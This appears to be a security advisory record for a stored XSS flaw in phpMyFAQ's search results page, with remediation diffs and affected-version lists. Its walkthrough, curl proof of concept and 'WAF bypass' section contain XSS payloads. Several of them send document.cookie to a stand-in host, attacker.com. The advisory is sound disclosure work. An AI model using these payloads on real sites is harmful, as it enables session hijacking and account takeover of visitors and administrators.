{"id":"GHSA-pqh6-8fxf-jx22","summary":"phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering","details":"## Summary\n\nThe search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig's `| raw` filter, which completely disables the template engine's built-in auto-escaping.\n\nA user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags — bypassing `strip_tags()` — and the restored payload is injected into every visitor's browser via the `| raw` output.\n\nThis vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch.\n\n---\n\n## Affected Files\n\n| File | Location | Issue |\n|---|---|---|\n| `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` |  `(Vertical Bar) raw` disables autoescape |\n| `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads |\n| `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) |\n\n---\n\n## Details\n\n### Vulnerability A (Primary): `search.twig` — `| raw` Disables Autoescape\n\n**File:** `phpmyfaq/assets/templates/default/search.twig`\n\n```twig\n\u003ca title=\"Test\" href=\"{{ result.url }}\"\u003e{{ result.question | raw }}\u003c/a\u003e\n\u003csmall class=\"small\"\u003e{{ result.answerPreview | raw }}...\u003c/small\u003e\n```\n\nTwig's autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.\n\nSeven (7) instances of `| raw` exist in `search.twig`:\n\n```twig\n{{ result.renderedScore | raw }}\n{{ result.question | raw }}\n{{ result.answerPreview | raw }}\n{{ searchTags | raw }}\n{{ relatedTags | raw }}\n{{ pagination | raw }}\n{{ 'help_search' | translate | raw }}\n```\n\nEach of these constitutes an independent XSS surface if its data source is compromised.\n\n---\n\n### Vulnerability B (Amplifier): `SearchController.php` — `html_entity_decode(strip_tags())` Bypass\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php`\n\n```php\n$data-\u003eanswer = html_entity_decode(\n    strip_tags((string) $data-\u003eanswer),\n    ENT_COMPAT,\n    encoding: 'utf-8'\n);\n```\n\nThis pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.\n\n**Bypass walkthrough:**\n```text\nStored in DB:    \u003csvg onload=fetch('https://attacker.com/?c='+document.cookie)\u003e\nstrip_tags()   → no change (no real tags detected)\n               → \u003csvg onload=fetch('https://attacker.com/?c='+document.cookie)\u003e\nhtml_entity_decode() → \u003csvg onload=fetch('https://attacker.com/?c='+document.cookie)\u003e\n| raw output   → executes in browser\n```\n---\n\n## Attack Chain\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 — Payload injection**\n\nAttacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:\n```html\n\u003csvg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))\u003e\n\u003cimg src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))\u003e\n```\n**Step 2 — Persistence**\n\nThe payload is stored in the DB without HTML sanitization at the storage layer.\n\n**Step 3 — Victim triggers the XSS**\n\nAny user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:\n\n1. Retrieves the record from the database\n2. Applies `strip_tags()` → entity-encoded payload passes through\n3. Applies `html_entity_decode()` → raw `\u003csvg onload=...\u003e` is restored\n4. Passes the value to `search.twig` as `result.answerPreview`\n5. Template renders with `| raw` → XSS executes\n\n**Step 4 — Impact**\n\n- Session cookie exfiltration → full account takeover\n- Administrator session hijacking (admin visiting search page)\n- Persistent attack: payload fires for every visitor until manually removed\n- Potential for worm propagation via auto-created FAQ entries\n\n---\n\n## PoC\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 — Inject payload via FAQ editor:**\n\n```bash\ncurl -X POST 'https://target.example.com/admin/api/faq/create' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=\u003ceditor_session\u003e' \\\n  -d '{\n    \"data\": {\n      \"pmf-csrf-token\": \"\u003cvalid_csrf_token\u003e\",\n      \"question\": \"&lt;svg onload=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)&gt;\",\n      \"answer\": \"&lt;img src=x onerror=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)&gt;\",\n      \"lang\": \"en\",\n      \"categories[]\": 1,\n      \"active\": \"yes\",\n      \"tags\": \"test\",\n      \"keywords\": \"searchable-keyword\",\n      \"author\": \"attacker\",\n      \"email\": \"attacker@example.com\"\n    }\n  }'\n```\n\n**Step 2 — Trigger XSS as victim:**\n```\nhttps://target.example.com/search.html?search=searchable-keyword\n```\nThe search result page renders the restored `\u003csvg onload=...\u003e` payload. The attacker's server receives the victim's session cookie.\n\n**Alternative payloads (for WAF bypass):**\n\n```html\n&lt;details open ontoggle=alert(document.cookie)&gt;\n&lt;iframe srcdoc=\"&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;\"&gt;\n```\n\n---\n\n## Impact\n\n- **Confidentiality :** Session cookie exfiltration and credential theft\n  via JavaScript execution in victim's browser context.\n- **Integrity :** DOM manipulation, phishing overlay injection.\n- **Scope :** Attack crosses from contributor privilege context\n  to all site visitors, including administrators.\n\n---\n\n## Recommended Fix\n\n### Fix 1 (Critical) — Remove `| raw` from user-controlled fields in `search.twig`\n\n```diff\n- \u003ca href=\"{{ result.url }}\"\u003e{{ result.question | raw }}\u003c/a\u003e\n- \u003csmall\u003e{{ result.answerPreview | raw }}...\u003c/small\u003e\n+ \u003ca href=\"{{ result.url }}\"\u003e{{ result.question }}\u003c/a\u003e\n+ \u003csmall\u003e{{ result.answerPreview }}...\u003c/small\u003e\n```\n\nIf HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) **before** passing data to the template, then retain `| raw` only for purified output.\n\n### Fix 2 (Critical) — Remove `html_entity_decode()` from search result pipeline `SearchController.php`\n\n```diff\n- $data-\u003eanswer = html_entity_decode(\n-     strip_tags((string) $data-\u003eanswer),\n-     ENT_COMPAT,\n-     encoding: 'utf-8'\n- );\n+ $data-\u003eanswer = strip_tags((string) $data-\u003eanswer);\n  $data-\u003eanswer = Utils::makeShorterText(string: $data-\u003eanswer, characters: 12);\n```\n\n### Fix 3 (Recommended) — Audit all `| raw` usages in `search.twig`\n\nThe following additional `| raw` instances should be reviewed and sanitized:\n\n```twig\n{{ searchTags | raw }}       → apply HTML Purifier or remove | raw\n{{ relatedTags | raw }}      → apply HTML Purifier or remove | raw\n{{ pagination | raw }}       → safe only if generated entirely server-side with no user input\n```\n\n### Fix 4 (Preventive) — Add `htmlspecialchars()` in `logSearchTerm()`\n\n```diff\n  $this-\u003econfiguration-\u003egetDb()-\u003eescape($searchTerm)\n+ htmlspecialchars(\n+     $this-\u003econfiguration-\u003egetDb()-\u003eescape($searchTerm),\n+     ENT_QUOTES | ENT_HTML5,\n+     'UTF-8'\n+ )\n```\n\n---","aliases":["CVE-2026-46361"],"modified":"2026-06-09T00:15:14.321809543Z","published":"2026-05-06T20:31:54Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"nvd_published_at":null,"cwe_ids":["CWE-79"],"github_reviewed_at":"2026-05-06T20:31:54Z"},"references":[{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pqh6-8fxf-jx22"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46361"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/phpmyfaq-stored-cross-site-scripting-via-raw-filter-in-search-twig"}],"affected":[{"package":{"name":"phpmyfaq/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/phpmyfaq%2Fphpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.2"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.1.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pqh6-8fxf-jx22/GHSA-pqh6-8fxf-jx22.json"}},{"package":{"name":"thorsten/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/thorsten%2Fphpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.2"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.1.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pqh6-8fxf-jx22/GHSA-pqh6-8fxf-jx22.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N"}]}